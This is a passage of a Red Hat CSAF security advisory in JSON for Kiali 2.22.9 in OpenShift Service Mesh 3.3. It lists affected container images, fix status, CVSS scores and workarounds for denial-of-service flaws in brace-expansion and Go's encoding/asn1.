        "url": "https://access.redhat.com/security/cve/CVE-2026-73089"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/updates/classification",
        "url": "https://access.redhat.com/security/updates/classification"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/updates/classification/",
        "url": "https://access.redhat.com/security/updates/classification/"
      },
      {
        "category": "self",
        "summary": "Canonical URL",
        "url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_59566.json"
      }
    ],
    "title": "Red Hat Security Advisory: Kiali 2.22.9 for Red Hat OpenShift Service Mesh 3.3",
    "tracking": {
      "current_release_date": "2026-09-06T20:14:38+00:00",
      "generator": {
        "date": "2026-09-06T20:14:38+00:00",
        "engine": {
          "name": "Red Hat SDEngine",
          "version": "5.3.16"
        }
      },
      "id": "RHSA-2026:59566",
      "initial_release_date": "2026-08-25T19:22:30+00:00",
      "revision_history": [
        {
          "date": "2026-08-25T19:22:30+00:00",
          "number": "1",
          "summary": "Initial version"
        },
        {
          "date": "2026-09-04T00:36:24+00:00",
          "number": "2",
          "summary": "Last updated version"
        },
        {
          "date": "2026-09-06T20:14:38+00:00",
          "number": "3",
          "summary": "Last generated version"
        }
      ],
      "status": "final",
      "version": "3"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_name",
                "name": "Red Hat OpenShift Service Mesh 3.3",
                "product": {
                  "name": "Red Hat OpenShift Service Mesh 3.3",
                  "product_id": "Red Hat OpenShift Service Mesh 3.3",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:redhat:service_mesh:3.3::el9"
                  }
                }
              }
            ],
            "category": "product_family",
            "name": "Red Hat OpenShift Service Mesh"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
                "product": {
                  "name": "registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
                  "product_id": "registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/kiali-rhel9@sha256%3A68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919?arch=amd64\u0026repository_url=registry.redhat.io/openshift-service-mesh/kiali-rhel9\u0026tag=1787077108"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
                "product": {
                  "name": "registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
                  "product_id": "registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/kiali-ossmc-rhel9@sha256%3A4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f?arch=amd64\u0026repository_url=registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9\u0026tag=1787076322"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "amd64"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64",
                "product": {
                  "name": "registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64",
                  "product_id": "registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/kiali-rhel9@sha256%3Af4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5?arch=arm64\u0026repository_url=registry.redhat.io/openshift-service-mesh/kiali-rhel9\u0026tag=1787077108"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
                "product": {
                  "name": "registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
                  "product_id": "registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/kiali-ossmc-rhel9@sha256%3A1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999?arch=arm64\u0026repository_url=registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9\u0026tag=1787076322"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "arm64"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
                "product": {
                  "name": "registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
                  "product_id": "registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
                  "product_identification_helper": {
                    "purl": "pkg:oci/kiali-rhel9@sha256%3A4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift-service-mesh/kiali-rhel9\u0026tag=1787077108"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
                "product": {
                  "name": "registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
                  "product_id": "registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
                  "product_identification_helper": {
                    "purl": "pkg:oci/kiali-ossmc-rhel9@sha256%3Aa6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9\u0026tag=1787076322"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "ppc64le"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
                "product": {
                  "name": "registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
                  "product_id": "registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
                  "product_identification_helper": {
                    "purl": "pkg:oci/kiali-rhel9@sha256%3A3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55?arch=s390x\u0026repository_url=registry.redhat.io/openshift-service-mesh/kiali-rhel9\u0026tag=1787077108"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
                "product": {
                  "name": "registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
                  "product_id": "registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
                  "product_identification_helper": {
                    "purl": "pkg:oci/kiali-ossmc-rhel9@sha256%3A022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970?arch=s390x\u0026repository_url=registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9\u0026tag=1787076322"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "s390x"
          }
        ],
        "category": "vendor",
        "name": "Red Hat"
      }
    ],
    "relationships": [
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x as a component of Red Hat OpenShift Service Mesh 3.3",
          "product_id": "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x"
        },
        "product_reference": "registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
        "relates_to_product_reference": "Red Hat OpenShift Service Mesh 3.3"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64 as a component of Red Hat OpenShift Service Mesh 3.3",
          "product_id": "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64"
        },
        "product_reference": "registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
        "relates_to_product_reference": "Red Hat OpenShift Service Mesh 3.3"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64 as a component of Red Hat OpenShift Service Mesh 3.3",
          "product_id": "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64"
        },
        "product_reference": "registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
        "relates_to_product_reference": "Red Hat OpenShift Service Mesh 3.3"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le as a component of Red Hat OpenShift Service Mesh 3.3",
          "product_id": "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le"
        },
        "product_reference": "registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
        "relates_to_product_reference": "Red Hat OpenShift Service Mesh 3.3"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x as a component of Red Hat OpenShift Service Mesh 3.3",
          "product_id": "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x"
        },
        "product_reference": "registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
        "relates_to_product_reference": "Red Hat OpenShift Service Mesh 3.3"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le as a component of Red Hat OpenShift Service Mesh 3.3",
          "product_id": "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le"
        },
        "product_reference": "registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
        "relates_to_product_reference": "Red Hat OpenShift Service Mesh 3.3"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64 as a component of Red Hat OpenShift Service Mesh 3.3",
          "product_id": "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64"
        },
        "product_reference": "registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
        "relates_to_product_reference": "Red Hat OpenShift Service Mesh 3.3"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64 as a component of Red Hat OpenShift Service Mesh 3.3",
          "product_id": "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
        },
        "product_reference": "registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64",
        "relates_to_product_reference": "Red Hat OpenShift Service Mesh 3.3"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-14257",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "discovery_date": "2026-07-23T14:01:26.376839+00:00",
      "flags": [
        {
          "label": "vulnerable_code_not_present",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2506433"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in brace-expansion. A remote attacker can exploit this vulnerability by providing specially crafted input to the expand() function, which can lead to excessive memory consumption. This can cause a denial of service (DoS) by crashing the application due to an out-of-memory error.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "brace-expansion: Brace-expansion: Denial of Service via memory exhaustion in expand() function",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "A flaw was found in the brace-expansion npm package. The expand() function limits the number of generated results but does not bound the length of each result string. By chaining multiple brace groups, an attacker can keep the result count under the limit while making each result progressively longer, causing total memory consumption to grow until the Node.js process crashes with an uncatchable out-of-memory error. This affects any application that passes attacker-influenced strings to brace-expansion directly or transitively via minimatch or glob brace patterns.\n\nNote: In the majority of Red Hat products, brace-expansion is brought in as a transitive dependency of minimatch or glob and is not used at runtime. It is typically only invoked during build or development tooling and is not directly exposed to untrusted network input, reducing the practical exploitability of this flaw.\n\n```\n$ npm ls --omit=dev brace-expansion\nnpm@10.9.8 /usr/lib/node_modules/npm\n`-- minimatch@9.0.9\n  `-- brace-expansion@2.0.2\n```",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le"
        ],
        "known_not_affected": [
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-14257"
        },
        {
          "category": "external",
          "summary": "RHBZ#2506433",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2506433"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-14257",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14257"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-14257",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14257"
        },
        {
          "category": "external",
          "summary": "https://github.com/juliangruber/brace-expansion",
          "url": "https://github.com/juliangruber/brace-expansion"
        },
        {
          "category": "external",
          "summary": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
          "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5"
        },
        {
          "category": "external",
          "summary": "https://www.npmjs.com/package/brace-expansion",
          "url": "https://www.npmjs.com/package/brace-expansion"
        }
      ],
      "release_date": "2026-07-23T12:54:23.124000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-25T19:22:30+00:00",
          "details": "See Kiali 2.22.9 documentation at https://docs.redhat.com/en/documentation/red_hat_openshift_service_mesh/3.3/html/observability/kiali-operator-provided-by-red-hat",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:59566"
        },
        {
          "category": "workaround",
          "details": "Do not pass untrusted or user-controlled input to brace-expansion\u0027s expand() function or to libraries that use it for glob pattern matching (such as minimatch or glob). Validate and sanitize any brace patterns before expansion.\n\nWhere possible, upgrade to brace-expansion 1.1.17, 2.1.3, 3.0.3, or 5.0.8 which add a maxLength option that bounds accumulated output.\n\nAs an additional defense-in-depth measure, enforce memory limits on Node.js processes using operating system resource controls such as cgroups or Kubernetes resource limits (spec.containers[].resources.limits.memory) to prevent a single process from exhausting system memory and causing a wider outage.",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "brace-expansion: Brace-expansion: Denial of Service via memory exhaustion in expand() function"
    },
    {
      "cve": "CVE-2026-33818",
      "cwe": {
        "id": "CWE-776",
        "name": "Improper Restriction of Recursive Entity References in DTDs (\u0027XML Entity Expansion\u0027)"
      },
      "discovery_date": "2026-08-13T22:12:37.151735+00:00",
      "flags": [
        {
          "label": "vulnerable_code_not_present",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le"
          ]
        }
      ],
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2515815"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in the `encoding/asn1` package in Go. An attacker could provide a specially crafted, deeply-nested Abstract Syntax Notation One (ASN.1) structure, leading to excessive recursion during the `Unmarshal` operation. This could result in stack exhaustion and a Denial of Service (DoS) condition.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "encoding/asn1: golang: Go encoding/asn1: Denial of Service via excessive recursion in Unmarshal",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This is an Important denial of service flaw in the Go encoding/asn1 package, as it can be triggered remotely without authentication. An attacker can provide a malformed ASN.1 structure, causing excessive recursion during unmarshalling and leading to stack exhaustion, which can render the service unavailable.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
        ],
        "known_not_affected": [
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
